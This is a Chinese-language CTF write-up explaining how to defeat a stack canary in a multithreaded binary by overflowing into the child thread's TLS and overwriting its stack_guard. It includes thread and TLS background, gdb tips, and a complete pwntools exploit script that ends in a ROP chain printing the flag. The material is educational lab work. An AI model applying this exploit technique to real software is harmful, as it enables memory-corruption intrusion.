TLS劫持过canary(TLS Hijack Bypass Canary)

链接:https://pan.baidu.com/s/173QtGe1It9EX2OiocC0ZBw
提取码:1pcz

grxer@grxer ~/D/pwn> checksec checkin 
[*] '/home/grxer/Desktop/pwn/checkin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

大致扫了一些,多线程的一个程序

主线程把flag读取到bss段

pthread_create创建的一个子线程的start_routine函数有栈溢出问题,溢出很大

pthread_join()等待阻塞

泄露canary基本不可能了,本来想着SSP(Stack Smashing Protect)Leak能不能把他的argv[0](__libc_argv)覆盖为flag地址,再破坏canary输出flag,但是不在一个线程栈区不一样

线程共享

在一个进程中,主线程和通过pthread_create()创建出来的子线程共享以下内容:

  1. 进程的代码段、数据段、堆段和共享库等被映射到进程虚拟地址空间中的所有内存区域。
  2. 进程打开的文件描述符、信号处理器等进程级别的资源。
  3. 进程环境变量以及命令行参数等。
  4. 全局变量和静态变量等存储在bss段和data段中的数据。
  5. 动态分配的堆内存(malloc、calloc等)。
  6. 在进程中使用pthread_key_create()创建的线程特定数据(Thread-specific data,TSD)。

在Linux中,进程和线程都是轻量级的执行单元,它们有以下区别和联系

区别:

  1. 资源占用:进程是系统分配资源的基本单位,每个进程拥有独立的地址空间、文件描述符、信号处理器等系统资源,而线程共享同一个进程的资源。
  2. 调度:进程之间的切换代价比线程之间的切换代价要高,因为进程切换时需要保存和恢复更多的状态信息,而线程只需要保存和恢复少量的状态信息。
  3. 安全:不同进程之间的内存空间是相互隔离的,因此进程之间的访问不会相互干扰,而线程之间的访问则需要进行同步控制,以避免竞态条件等问题。

联系:

  1. 资源共享:进程内的所有线程共享同一个地址空间,因此它们可以共享全局变量、静态变量、代码段和数据段等内存区域。
  2. 处理器调度:线程是处理器调度的基本单位,一个进程中的多个线程可以并发执行,以提高处理器的利用率。
  3. 通信机制:进程之间通信可以使用IPC机制,而线程之间可以使用线程同步和互斥机制等方式进行通信和协调。

Thread Local Storage

https://gcc.gnu.org/onlinedocs/gcc/Thread-Local.html

线程局部存储(TLS),是一种变量的存储方法,每一个线程都会有一个副本,这个变量在它所在的线程内是全局可访问的,但是不能被其他线程访问到,这样就保持了数据的线程独立性。而熟知的全局变量,是所有线程都可以访问的,这样就不可避免需要锁来控制,增加了控制成本和代码复杂度。

gcc里再定义前加__thread就可以实现TLS

创建线程的时候会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方

主线程中的TLS通常位于mmap映射出来的地址空间里,而位置也比较随机,覆盖的可能性不大;子线程通常也是mmap出来的,子线程中的TLS则位于线程栈的顶部

tcbhead_t结构体

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary,0x28偏移 */
uintptr_t pointer_guard;
……
} tcbhead_t;

gdb多线程调试

set follow-fork-mode child

show follow-fork-mode

(1)查看可切换调试的线程:info threads

(2)切换调试的线程:thread 线程id

(3)只运行当前线程:set scheduler-locking on

(4)运行全部的线程:set scheduler-locking off

(5)指定某线程执行某gdb命令:thread apply 线程id gdb_cmd

(6)全部的线程执行某gdb命令:thread apply all gdb_cmd

x/x pthread_self()或fsbase可以查看线程fs基位置

断点断到子线程函数

image-20230326174219767

distance计算偏移,覆盖canary和stack_guard为用一个值即可,rop puts输出flag即可

image-20230326174414780

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./checkin'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
# db('b *0x401338')
# db('b *0x401340')
# db('b *0x401341 ')

padding=b'a'*0x18+p64(0x666666)+p64(0x555555)+p64(rop.rdi.address)+p64(0x4040C0)+p64(elf.plt['puts'])+b'a'*(0x7d8-0x20)+p64(0x666666)
payload=padding
sla(b'eckin\n',payload)
# gdb.attach(io)
io.interactive()